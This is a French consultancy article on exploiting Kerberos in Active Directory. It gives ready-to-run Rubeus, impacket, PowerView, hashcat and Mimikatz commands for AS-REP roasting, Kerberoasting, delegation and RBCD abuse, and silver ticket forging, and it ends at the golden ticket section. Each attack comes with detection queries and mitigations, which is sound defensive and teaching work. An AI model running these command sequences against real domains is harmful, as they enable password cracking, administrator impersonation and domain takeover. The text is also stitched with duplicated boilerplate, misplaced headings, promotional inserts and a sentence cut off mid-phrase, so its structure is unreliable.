Cette analyse detaillee de Chaîne d'exploitation Kerberos en s'appuie sur les retours d'experience d'equipes de securite confrontees quotidiennement aux menaces actuelles. Les methodologies presentees couvrent l'ensemble du cycle de vie de la securite, de la detection initiale a la remediation complete, en passant par l'investigation forensique et le durcissement des configurations. Les recommandations sont directement applicables dans les environnements de production et tiennent compte des contraintes operationnelles rencontrees par les equipes techniques sur le terrain. Les outils et techniques presentes ont ete valides dans des contextes reels d'incidents et de tests d'intrusion. La mise en oeuvre d'une strategie de defense en profondeur reste essentielle face a l'evolution constante du paysage des menaces, en combinant prevention, detection et capacite de reponse rapide aux incidents de securite.
Points clés de cet article
- Comprendre les fondamentaux et les enjeux liés à Chaîne d'exploitation Kerberos en : Analyse Technique
- Découvrir les bonnes pratiques et méthodologies recommandées par nos experts
- Appliquer concrètement les recommandations : exploitation kerberos en ad : from as-rep
1. Fondamentaux du protocole Kerberos dans Active Directory
1.1 Architecture et composants essentiels
Kerberos, développé au MIT et standardisé dans le RFC 4120, repose sur un système de tickets cryptographiques pour authentifier les utilisateurs et services dans un environnement réseau. Dans un contexte Active Directory, les composants clés incluent : Cet article fournit une analyse technique approfondie et des recommandations pratiques pour les professionnels de la cybersecurite. Les concepts presentes sont issus de retours d'experience terrain et des meilleures pratiques du secteur. Les equipes techniques y trouveront des methodologies eprouvees, des outils recommandes et des strategies de mise en oeuvre adaptees aux environnements de production modernes. La maitrise de ces sujets est devenue incontournable dans le contexte actuel de menaces en constante evolution. Cet article fournit une analyse technique approfondie et des recommandations pratiques pour les professionnels de la cybersecurite. Les concepts presentes sont issus de retours d'experience terrain et des meilleures pratiques du secteur. Les equipes techniques y trouveront des methodologies eprouvees, des outils recommandes et des strategies de mise en oeuvre adaptees aux environnements de production modernes. La maitrise de ces sujets est devenue incontournable dans le contexte actuel de menaces en constante evolution.
- Key Distribution Center (KDC) : Implémenté au sein des contrôleurs de domaine (DC), le KDC gère deux services critiques : l'Authentication Service (AS) et le Ticket Granting Service (TGS).
- Authentication Service (AS) : Responsable de l'authentification initiale des utilisateurs et de la délivrance des Ticket Granting Tickets (TGT).
- Ticket Granting Service (TGS) : Émet des tickets de service (ST) permettant l'accès aux ressources spécifiques du domaine.
- Principal : Entité identifiable de manière unique (utilisateur, ordinateur, ou service) au sein du domaine.
- Tickets : Structures cryptographiques contenant des informations d'authentification avec une durée de validité limitée.
1.2 Flux d'authentification Kerberos standard
Le processus d'authentification Kerberos se déroule en plusieurs étapes distinctes :
- AS-REQ (Authentication Service Request) : Le client envoie une requête d'authentification au KDC, incluant l'identifiant de l'utilisateur et un timestamp chiffré avec le hash du mot de passe de l'utilisateur.
- AS-REP (Authentication Service Reply) : Si l'authentification réussit, le KDC renvoie un TGT chiffré avec la clé secrète du service krbtgt, ainsi qu'une session key chiffrée avec le hash du mot de passe de l'utilisateur.
- TGS-REQ (Ticket Granting Service Request) : Le client présente son TGT au KDC pour demander l'accès à un service spécifique.
- TGS-REP (Ticket Granting Service Reply) : Le KDC valide le TGT et émet un Service Ticket (ST) chiffré avec la clé du service cible.
- AP-REQ (Application Request) : Le client présente le ST au service cible pour établir la connexion.
Copyright Ayi NEDJIMI Consultants
2. Phase de reconnaissance et énumération
2.1 Énumération des comptes vulnérables
Avant d'exploiter les failles Kerberos, un attaquant doit d'abord identifier les cibles potentielles. Cette phase de reconnaissance utilise des techniques passives et actives pour cartographier l'environnement AD.
🔧 Outil : PowerView (PowerSploit)
PowerView est un framework PowerShell permettant l'énumération approfondie d'Active Directory sans nécessiter de privilèges administratifs.
# Énumération des utilisateurs sans préauthentification Kerberos requise
Get-DomainUser -PreauthNotRequired -Properties samaccountname,useraccountcontrol
# Recherche des comptes de service avec SPN
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
# Identification des comptes avec délégation non contrainte
Get-DomainComputer -Unconstrained | Select-Object name,dnshostname
🔧 Outil : BloodHound
BloodHound utilise la théorie des graphes pour révéler les chemins d'attaque cachés dans Active Directory, notamment les relations de délégation et les privilèges transitifs.
# Collecte des données avec SharpHound
.\SharpHound.exe -c All -d domain.local --zipfilename bloodhound_data.zip
# Requêtes Cypher utiles dans BloodHound
MATCH (u:User {hasspn:true}) RETURN u
MATCH (u:User {dontreqpreauth:true}) RETURN u
MATCH p=shortestPath((u:User)-[*1..]->(g:Group)) WHERE g.name="DOMAIN ADMINS" RETURN p
2.2 Techniques d'énumération LDAP
L'interrogation directe du serveur LDAP d'Active Directory permet d'extraire des informations détaillées sans déclencher de nombreuses alertes de sécurité.
# Utilisation de ldapsearch (Linux/Unix)
ldapsearch -x -H ldap://dc01.domain.local -b "DC=domain,DC=local" \
"(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
samaccountname userAccountControl
# Recherche des SPNs avec ldapsearch
ldapsearch -x -H ldap://dc01.domain.local -b "DC=domain,DC=local" \
"servicePrincipalName=*" samaccountname servicePrincipalName
Combien de vos contrôles de sécurité ont été testés en conditions réelles cette année ?
3. AS-REP Roasting : exploitation des comptes sans préauthentification
3.1 Principe de l'attaque
L'AS-REP Roasting exploite une configuration Active Directory où certains comptes ont l'attribut "Ne pas demander la préauthentification Kerberos" (DONT_REQ_PREAUTH) activé. Normalement, lors d'une authentification Kerberos, le client doit prouver son identité en chiffrant un timestamp avec son mot de passe avant de recevoir un TGT. Lorsque la préauthentification est désactivée, le KDC envoie immédiatement une réponse AS-REP contenant des données chiffrées avec le hash du mot de passe de l'utilisateur, sans vérification préalable.
3.2 Exploitation pratique
🔧 Outil : Rubeus (C#)
Rubeus est un outil de boîte à outils Kerberos développé en C# par GhostPack, permettant diverses attaques et manipulations de tickets.
# AS-REP Roasting avec Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# Ciblage d'un utilisateur spécifique
.\Rubeus.exe asreproast /user:vulnerable_user /format:john /nowrap
# AS-REP Roasting depuis Linux avec impacket
python3 GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
3.3 Craquage des hashes AS-REP
Une fois les hashes AS-REP extraits, ils peuvent être craqués hors ligne à l'aide d'outils spécialisés : Pour approfondir, consultez Attaques Wireless Avancées : Wi-Fi 7, BLE 5.4 et Zigbee.
# Craquage avec Hashcat (mode 18200 pour AS-REP)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
# Craquage avec John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
# Utilisation de règles de mutation avancées
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r rules/dive.rule -O -w 3
3.4 Détection et mitigation
- Event ID 4768 : Surveiller les requêtes de TGT avec un code de résultat 0x0 et l'option de pré-authentification désactivée (PreAuthType: 0)
- Pattern de requêtes : Détection de multiples requêtes AS-REQ provenant d'une même source pour différents comptes
- Requête SIEM : Corrélation des événements 4768 avec un volume anormal en peu de temps
# Requête Splunk pour détecter AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count by src_ip, user
| where count > 10
# Règle Sigma pour AS-REP Roasting
title: AS-REP Roasting Attack Detection
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
PreAuthenticationType: 0
condition: selection
timeframe: 5m
count: > 5
falsepositives:
- Legitimate applications with pre-authentication disabled
level: high
- Audit de configuration : Identifier et corriger tous les comptes avec DONT_REQ_PREAUTH activé
- Script PowerShell d'audit :
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | Select-Object Name,SamAccountName,DoesNotRequirePreAuth - Politique de mots de passe robustes : Implémenter une longueur minimale de 15 caractères avec complexité
- Monitoring continu : Alertes automatiques sur les modifications de l'attribut userAccountControl
- Principe du moindre privilège : Aucun compte privilégié ne devrait avoir cette configuration
Notre avis d'expert
Le Security by Design est souvent invoqué, rarement pratiqué. Intégrer la sécurité dès la conception coûte 6 fois moins cher que de corriger en production. Nos audits d'architecture montrent que les choix techniques des premières sprints conditionnent la posture de sécurité pour des années.
4. Kerberoasting : ciblage des Service Principal Names (SPN)
4.1 Fondements techniques
Le Kerberoasting exploite le mécanisme légitime de demande de tickets de service dans Kerberos. Lorsqu'un utilisateur authentifié demande un Service Ticket (ST) pour un service identifié par son SPN, le KDC renvoie un ticket chiffré avec le hash NTLM du compte de service. Cette opération est normale et ne nécessite aucun privilège particulier, mais elle permet à un attaquant d'extraire ces tickets et de les soumettre à une attaque hors ligne.
Les comptes de service sont particulièrement vulnérables car ils utilisent souvent des mots de passe faibles ou rarement changés pour des raisons de compatibilité applicative.
Copyright Ayi NEDJIMI Consultants
4.2 Exploitation avec outils modernes
🔧 Outil : Rubeus - Kerberoasting avancé
Rubeus offre des options complexes pour optimiser l'extraction et le ciblage des tickets de service.
Outils et ressources complementaires
# Kerberoasting basique
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Kerberoasting avec filtrage sur les comptes administratifs
.\Rubeus.exe kerberoast /ldapfilter:"(adminCount=1)" /format:hashcat
# Ciblage des comptes avec chiffrement RC4 (plus faible)
.\Rubeus.exe kerberoast /tgtdeleg /rc4opsec
# Kerberoasting d'un SPN spécifique
.\Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.domain.local:1433 /nowrap
🔧 Outil : Impacket - GetUserSPNs.py
Solution multiplateforme Python pour effectuer du Kerberoasting depuis Linux.
# Kerberoasting depuis Linux
python3 GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request
# Sauvegarde des hashes au format Hashcat
python3 GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 \
-request -outputfile kerberoast.hash
# Kerberoasting avec authentification Kerberos
python3 GetUserSPNs.py domain.local/user -k -no-pass -dc-ip 10.10.10.10 -request
4.3 Optimisation du craquage de tickets
Les tickets de service Kerberos utilisent différents algorithmes de chiffrement. Les plus courants sont RC4-HMAC (type 23) et AES256-CTS-HMAC-SHA1-96 (type 18). Les tickets RC4 sont significativement plus rapides à craquer.
Mise en pratique
| Type de chiffrement | Mode Hashcat | Difficulté relative | Vitesse de craquage (RTX 3090) |
|---|---|---|---|
| RC4-HMAC (Type 23) | 13100 | Faible | ~8 GH/s |
| AES128-CTS (Type 17) | 19600 | Moyenne | ~1.2 GH/s |
| AES256-CTS (Type 18) | 19700 | Élevée | ~600 MH/s |
# Craquage optimisé avec Hashcat
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt \
-r rules/OneRuleToRuleThemAll.rule -O -w 4
# Utilisation de masques pour les politiques de mots de passe connues
hashcat -m 13100 kerberoast.hash -a 3 ?u?l?l?l?l?l?l?d?d?s
# Attaque hybride : dictionnaire + masques
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt -a 6 ?d?d?d?d
# Analyse du hash pour identifier le type
hashcat --identify kerberoast.hash
4.4 Détection et réponse
- Event ID 4769 : Demande de ticket de service Kerberos, particulièrement avec type de chiffrement RC4 (0x17)
- Volume anormal : Multiples requêtes TGS pour différents SPNs en peu de temps
- Anomalies comportementales : Comptes utilisateurs demandant des tickets pour des services jamais accédés auparavant
- Downgrade de chiffrement : Utilisation de RC4 alors que AES est supporté
# Requête PowerShell pour identifier les tentatives de Kerberoasting
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} -MaxEvents 10000 |
Where-Object {$_.Properties[8].Value -eq '0x17'} |
Group-Object {$_.Properties[0].Value} |
Where-Object {$_.Count -gt 5} |
Select-Object Count, Name
# Script de détection avancé avec analyse temporelle
$events = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769;StartTime=(Get-Date).AddHours(-1)}
$grouped = $events | Group-Object {$_.Properties[5].Value}
$suspicious = $grouped | Where-Object {$_.Count -gt 10}
$suspicious | ForEach-Object {
Write-Warning "Compte suspect: $($_.Name) - $($_.Count) requêtes TGS"
}
- Mots de passe complexes (25+ caractères) : Pour tous les comptes de service avec SPN
- Managed Service Accounts (MSA/gMSA) : Rotation automatique des mots de passe (120 caractères aléatoires)
- Désactivation de RC4 : Configuration GPO pour forcer AES256
Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > Network security: Configure encryption types allowed for Kerberos Cocher uniquement: AES128_HMAC_SHA1, AES256_HMAC_SHA1, Future encryption types - Audit régulier des SPNs : Identifier et supprimer les SPNs inutilisés
- Segmentation : Limiter les comptes pouvant demander des tickets de service
- Honeypot accounts : Créer des comptes leurres avec SPNs pour détecter les attaques
Cas concret
L'attaque sur SolarWinds Orion (2020) a illustré les limites des architectures de sécurité traditionnelles. L'insertion d'une backdoor dans le processus de build du logiciel a contourné toutes les couches de défense, rappelant que la supply-chain logicielle est un vecteur de menace de premier ordre.
Votre processus de patch management couvre-t-il l'ensemble de votre parc applicatif ?
5. Attaques de délégation Kerberos
5.1 Délégation non contrainte (Unconstrained Delegation)
La délégation non contrainte permet à un service de s'authentifier auprès de n'importe quel autre service au nom d'un utilisateur. Lorsqu'un utilisateur s'authentifie auprès d'un service configuré avec délégation non contrainte, son TGT est envoyé au service et stocké en mémoire. Un attaquant compromettant ce service peut extraire tous les TGTs stockés et les utiliser pour usurper l'identité des utilisateurs.
🔧 Exploitation avec Rubeus
# Surveillance des nouvelles sessions (nécessite privilèges locaux admin)
.\Rubeus.exe monitor /interval:5 /filteruser:administrator
# Extraction des TGTs depuis la mémoire LSASS
.\Rubeus.exe triage
# Dump d'un TGT spécifique
.\Rubeus.exe dump /luid:0x3e7 /service:krbtgt
# Réutilisation d'un TGT extrait (Pass-the-Ticket)
.\Rubeus.exe ptt /ticket:base64encodedticket
5.2 Délégation contrainte (Constrained Delegation)
La délégation contrainte limite les services auxquels un compte peut déléguer. Elle s'appuie sur l'extension S4U2Self et S4U2Proxy. Un attaquant compromettant un compte avec délégation contrainte peut demander un ticket de service pour n'importe quel utilisateur (y compris des administrateurs) vers les services autorisés.
# Énumération des comptes avec délégation contrainte
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
# Exploitation avec Rubeus (nécessite hash ou ticket du compte)
.\Rubeus.exe s4u /user:serviceaccount$ /rc4:ntlmhash /impersonateuser:administrator \
/msdsspn:cifs/targetserver.domain.local /ptt
# Exploitation depuis Linux avec impacket
python3 getST.py -spn cifs/targetserver.domain.local -impersonate administrator \
domain.local/serviceaccount$ -hashes :ntlmhash
5.3 Délégation contrainte basée sur les ressources (RBCD)
Introduite dans Server 2012, la RBCD inverse le modèle de délégation : ce n'est plus le service frontal qui définit où il peut déléguer, mais le service backend qui définit qui peut déléguer vers lui. L'attribut msDS-AllowedToActOnBehalfOfOtherIdentity contrôle cette configuration. Pour approfondir, consultez Kubernetes offensif (RBAC abuse,.
Perspectives et evolution
msDS-AllowedToActOnBehalfOfOtherIdentity d'un objet ordinateur (via GenericWrite, GenericAll, WriteProperty), il peut configurer un compte qu'il contrôle pour déléguer vers la cible, permettant ainsi l'usurpation d'identité d'administrateurs locaux.
🔧 Exploitation RBCD complète
# 1. Vérifier les permissions d'écriture (PowerView)
Get-DomainObjectAcl -Identity targetserver$ | ? {$_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll"}
# 2. Créer un compte machine contrôlé (nécessite MAQ > 0)
Import-Module Powermad
New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)
# 3. Configurer RBCD sur la cible
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer targetserver$ | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# 4. Exploitation avec Rubeus
.\Rubeus.exe s4u /user:FAKECOMPUTER$ /rc4:FC525C9683E8FE067095BA2DDC971889 \
/impersonateuser:administrator /msdsspn:cifs/targetserver.domain.local /ptt
# 5. Accès à la cible
dir \\targetserver.domain.local\c$
5.4 Protection contre les attaques de délégation
- Comptes protégés : Activer "Compte sensible et ne peut pas être délégué" pour les comptes privilégiés
- Protected Users Group : Ajouter les administrateurs au groupe "Protected Users" (bloque la délégation)
- Audit de configuration :
# Identifier tous les comptes avec délégation non contrainte Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation # Identifier la délégation contrainte Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo,servicePrincipalName # Surveiller l'attribut RBCD Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Where-Object {$_."msDS-AllowedToActOnBehalfOfOtherIdentity" -ne $null} - Réduction de MAQ : Définir MachineAccountQuota à 0 pour empêcher la création de comptes machines
- Monitoring Event IDs : 4738 (modification d'attribut utilisateur), 4742 (modification d'objet ordinateur)
6. Silver Ticket : falsification de tickets de service
6.1 Principe et mécanisme
Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.
Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.
Mise en oeuvre et bonnes pratiques
6.2 Création et injection de Silver Tickets
🔧 Outil : Mimikatz - Forge de Silver Ticket
# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
/target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt
# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
/target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt
# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
/target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt
# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
/target:server02.domain.local /service:host /rc4:computerhash /ptt
6.3 Cas d'usage spécifiques par service
| Service (SPN) | Hash requis | Capacités obtenues | Cas d'usage attaque |
|---|---|---|---|
| CIFS | Compte ordinateur | Accès fichiers (C$, ADMIN$) | Exfiltration données, pivoting |
| HTTP | Compte service IIS | Accès applications web | Manipulation application, élévation |
| LDAP | Compte ordinateur DC | Requêtes LDAP complètes | DCSync, énumération AD |
| HOST + RPCSS | Compte ordinateur | WMI, PSRemoting, Scheduled Tasks | Exécution code à distance |
| MSSQLSvc | Compte service SQL | Accès base de données | Extraction données, xp_cmdshell |
6.4 Détection des Silver Tickets
- Absence d'événements KDC : Accès à des ressources sans événements 4768/4769 correspondants
- Anomalies de chiffrement : Tickets avec des algorithmes de chiffrement incohérents avec la politique
- Durée de vie anormale : Tickets avec des timestamps invalides ou des durées de vie excessives
- PAC invalide : Groupes de sécurité inexistants ou incohérents dans le PAC
- Validation PAC : Activer la validation PAC pour forcer la vérification des signatures
# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings >
Local Policies > Security Options >
"Network security: PAC validation" = Enabled
# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} |
Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)
# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
$accessTime = $_.TimeCreated
$user = $_.Properties[5].Value
$matchingKDC = $kdcEvents | Where-Object {
$_.Properties[0].Value -eq $user -and
[Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
}
if (-not $matchingKDC) {
Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
}
}
- Rotation des mots de passe machines : Par défaut tous les 30 jours, réduire à 7-14 jours
- Activation de la validation PAC : Force la vérification des signatures PAC auprès du DC
- Monitoring des comptes de service : Alertes sur modifications des hashes (Event ID 4723)
- Désactivation de RC4 : Réduit la surface d'attaque si seul le hash NTLM est compromis
- Blindage LSASS : Credential Guard, LSA Protection pour empêcher l'extraction de secrets
7. Golden Ticket : compromission totale du domaine
7.1 Principe et impact
Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).
Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).
Copyright Ayi NEDJIMI Consultants